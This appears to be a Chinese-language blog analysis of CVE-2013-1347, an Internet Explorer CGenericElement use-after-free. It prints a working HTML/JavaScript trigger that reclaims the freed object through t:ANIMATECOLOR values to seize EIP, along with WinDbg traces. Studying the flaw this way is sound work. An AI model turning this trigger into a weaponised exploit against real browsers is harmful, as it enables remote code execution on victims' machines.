• CVE-2013-1347 漏洞是典型的 IE 浏览器 UAF 漏洞,所以其利用方法和一般的 IE 浏览器漏洞的利用方法非常相似,所以流程大体上可以分为这些步骤:(1) 对象被释放 (2) 精确覆盖被释放对象的内存空间,更改 EIP 寄存器从而控制程序的流程 (3) 触发漏洞实现重引用
  • 以下就是利用此漏洞的样本

<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta> <script>
function helloWorld()
{
animvalues = ""; for (i=0; i <= 0x70/4; i++) { if (i == 0x70/4) {
animvalues += unescape("%u4141%u4141"); // ¿ØÖÆedx=0x41414141
}
else {
animvalues += unescape("%u4242%u4242"); // 0x42424242
}
} for(i = 0; i < 13; i++) {
animvalues += ";red";
} // 执行漏洞触发代码开始
f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
f1.appendChild(document.createElement('table'));
try{
f0.offsetParent=null;
}catch(e) {} f2.innerHTML="";
f0.appendChild(document.createElement('hr'));
f1.innerHTML=""; CollectGarbage();
// 执行漏洞代码结束 try { a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
} </script>
</head>
<body onload="eval(helloWorld());">
<t:ANIMATECOLOR id="myanim"/>
</body>
</html>
  • 想要了解该代码是如何利用的,首先需要知道程序是怎么进行重引用的,所以使用 Windbg 加载 IE 运行后拖入样本文件。对了在这之前需要开启 hpa,方便在内存异常处断下,并且使用 .childdbg 1 开启多线程调试

  • 触发异常后断下,从异常触发点可以看出 mov eax, dword ptr [ecx] 这条指令的地址是 74ddc400

  • 结合 IDA 分析,可以看出首先将对象的首地址存放在 eax 中,之后根据虚表偏移 0x70 个字节,根据偏移后的虚表地址调用函数 call edx,这也是 C++ 调用虚函数的通用方法
  • 所以怎么才可以覆盖虚表指针后,再覆盖虚表偏移 0x70 大小的数据呢,答案是使用 t:ANIMATECOLOR 元素,这个元素对象很特别,该元素有一个 values 属性,当给 values 属性赋字符串的时候,会以 ;号做为分隔符,每个分割出来的字符串都会用一个指针去指向它

  • 所以知道了这些,样本中的利用代码就很好分析了,首先通过循环构造 0x70 大小的数据,用于覆盖虚表的 0x70 个字节

  • 之后再次循环构造以 ;号分隔的字符串,使对象大小变为 0x4c,方便占坑,同时覆盖虚表指针

注:占坑表示完整覆盖释放后的堆空间

  • 最后将 t:ANIMATECOLOR 元素的 values 属性赋值为 animvalues 字符串

  • 构造完的 t:ANIMATECOLOR 元素对象的内存结构就如下图所示:

  • 下面来调试一遍,关闭 hpa 之后,加载 IE 拖入样本后调试结果如下:
.
.
.
(74c4c234) mshtml!CGenericElement::CreateElement | (74c4c279) mshtml!CGenericElement::CGenericElement
Exact matches:
mshtml!CGenericElement::CreateElement = <no type information>
'=== CElement ==='
080ac250 74c254b0 00000001 00000008 00000000
080ac260 00000000 00000000 00000000 00000000
080ac270 00000000 00000000
'=== CTreeNode ==='
080a38d0 080ac250
080ac250 74c4c2e8 mshtml!CGenericElement::`vftable'
.
.
.
eax=02f23048 ebx=080a38d0 ecx=080ac250 edx=41414141 esi=054ff078 edi=00000000
eip=41414141 esp=054ff048 ebp=054ff064 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
  • 查看漏洞对象 CGenericElement 已经释放的内存空间 0x080ac250 的覆盖情况,发现已经被覆盖了
2:040> dd 080ac250
080ac250 02f23048 02f5cf60 02f5cf80 02f5cfa0
080ac260 02f5cfc0 02f5cfe0 02f5d000 02f5d020
080ac270 02f5d040 02f5d060 02f5d080 02f5d0a0
080ac280 02f5d0c0 02f5d0e0 236b22bf c2000000
080ac290 0670c7a4 00000000 00000002 0502001e
080ac2a0 0000000e 9ea75230 00000012 006e006f
080ac2b0 00720074 006e0061 00690073 00690074
080ac2c0 006e006f 00650072 00650070 00740061
  • 查看一下第一个字符串指针指向的值,就是之前循环赋值的值,0x70 偏移地址的值为 0x41414141,所以 edx 寄存器中的值会变为 0x41414141
2:040> dd 02f23048
02f23048 42424242 42424242 42424242 42424242
02f23058 42424242 42424242 42424242 42424242
02f23068 42424242 42424242 42424242 42424242
02f23078 42424242 42424242 42424242 42424242
02f23088 42424242 42424242 42424242 42424242
02f23098 42424242 42424242 42424242 42424242
02f230a8 42424242 42424242 42424242 42424242
02f230b8 41414141 00000000 28d3aa3e c2000000
  • 最后 call edx,也就是 jmp 0x41414141,之后配合绕过防御的代码,就可以达到执行任意代码的目的

CVE-2013-1347:Microsoft IE CGenericElement UAF 漏洞利用样本分析的更多相关文章

  1. CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞

    0x01 2013 年 "水坑" APT 攻击事件 在 2013 年 5 月,美国的劳工部网站被黑,利用的正是 CVE-2013-1347 这个漏洞,在当时导致大量使用 IE8 访 ...

  2. webmin RCE漏洞利用及分析

    Webmin是目前功能最强大的基于Web的Unix系统管理工具.管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作. 利用条件:webmin <= 1.910 原因:官网 Sou ...

  3. Hadoop Yarn REST API未授权漏洞利用挖矿分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 一.背景情况 5月5日腾讯云安全曾针对攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未 ...

  4. PWN——uaf漏洞学习

    PWN--uaf漏洞 1.uaf漏洞原理 在C语言中,我们通过malloc族函数进行堆块的分配,用free()函数进行堆块的释放.在释放堆块的过程中,如果没有将释放的堆块置空,这时候,就有可能出现us ...

  5. CVE-2017-12149漏洞利用

    CVE-2017-12149 JBOOS AS 6.X 反序列化漏洞利用 这次分析一下 CVE-2017-12149 ,漏洞已经爆出有几天了,今天就把这个漏洞看一下.                  ...

  6. 【转】cve2014-3153 漏洞之详细分析与利用

    背景学习: Linux Futex的设计与实现 使用者角度看bionic pthread_mutex和linux futex实现 By kernux TopSec α-lab 一 漏洞概述 这个漏洞是 ...

  7. CVE-2019-0686|Microsoft Exchange特权提升漏洞补丁已发布

    Microsoft Exchange Server中存在一个特权提升漏洞.成功利用此漏洞的攻击者可以获得与Exchange服务器的任何其他用户相同的权限.这可能允许攻击者执行诸如访问其他用户的邮箱之类 ...

  8. exim CVE-2017-16943 uaf漏洞分析

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这是最近爆出来的 exim 的一个 uaf 漏洞,可以进行远程代码 ...

  9. UAF漏洞学习

    产生原因: UAF漏洞的成因是一块堆内存被释放了之后又被使用.又被使用指的是:指针存在(悬垂指针被引用).这个引用的结果是不可预测的,因为不知道会发生什么.由于大多数的堆内存其实都是C++对象,所以利 ...

随机推荐

  1. CVE-2016-10033 WordPress <= 4.6 命令执行漏洞

    漏洞参考 https://www.jianshu.com/p/85ac4af9f947 漏洞信息 这个锅还是要PHPMailer背(CVE-2016-10033,WordPress 使用 PHPMai ...

  2. 由于makefile编译所有子目录中 sed 's,/($*/)/.o[ :],/1.o $@ : ,g' <$@ > $@ 的解释

    这个语句分为好几层,我们一层一层来看 1. sed 's,/($*/)/.o[ :],/1.o $@ : ,g' <$@ > $@ 首先看加粗这一层,$@表示目标参数中的.d文件, '&l ...

  3. mongodb 聚合(Map-Reduce)

    介绍 Map-reduce 是一种数据处理范式,用于将大量数据压缩为有用的聚合结果.对于 map-reduce 操作,MongoDB 提供MapReduce数据库命令. MongoDB中的MapRed ...

  4. sprintgboot+springsecurity的跨域问题,

    整个项目是使用前后端分离的形式开发,登录接口部分出现了问题, 重写了security的登录接口,返回json数据 到这一步已经没有没有问题了,使用postman测试,也可以看到接口返回的结果,但是使用 ...

  5. Tomcat搭建配置

    Tomcat是Apache软件基金会( Apache Software Foundation )的Jakarta项目中的一个核心项目,由Apache.Sun和其他一些公司及个人共同开发而成.受Java ...

  6. 在用free()函数释放指针内存时为何要将其指针置空

    在通过free()函数释放指针内存之后讲其指针置空,这样可以避免后面的程序对与该指针非法性的判断所造成的程序崩溃问题.释放空间,指针的值并没有改变,无法直接通过指针自身来进行判断空间是否已经被释放,将 ...

  7. EF Core3.0+ 通过拦截器实现读写分离与SQL日志记录

    前言 本文主要是讲解EF Core3.0+ 通过拦截器实现读写分离与SQL日志记录 注意拦截器只有EF Core3.0+ 支持,2.1请考虑上下文工厂的形式实现. 说点题外话.. 一晃又大半年没更新技 ...

  8. Linux 自定义快捷命令

    Linux中一些比较常用的命令总是重复敲很麻烦,这个时候就可以使用 alias 来自定义快捷命令,用以简化操作.系统会有一些预定义的快捷命令,比如 ll 的效果就和 ls -l 一样. 可以使用 al ...

  9. 有必要了解的大数据知识(二) Hadoop

    前言 接上文,复习整理大数据相关知识点,这章节从MapReduce开始... MapReduce介绍 MapReduce思想在生活中处处可见.或多或少都曾接触过这种思想.MapReduce的思想核心是 ...

  10. 一个软件工程师的硬件修养:ESP8266 入门(普通动感单车-变智能)

    前言 一直在开发软件.今日突然心血来潮想尝试一下硬件. 于是就买了这样一个板子: 买的淘宝上大佬帮忙找的一个套装. 除了板子之外还有一些线和其他配件:温湿度传感器,气压传感器,光线传感器,小屏幕. 板 ...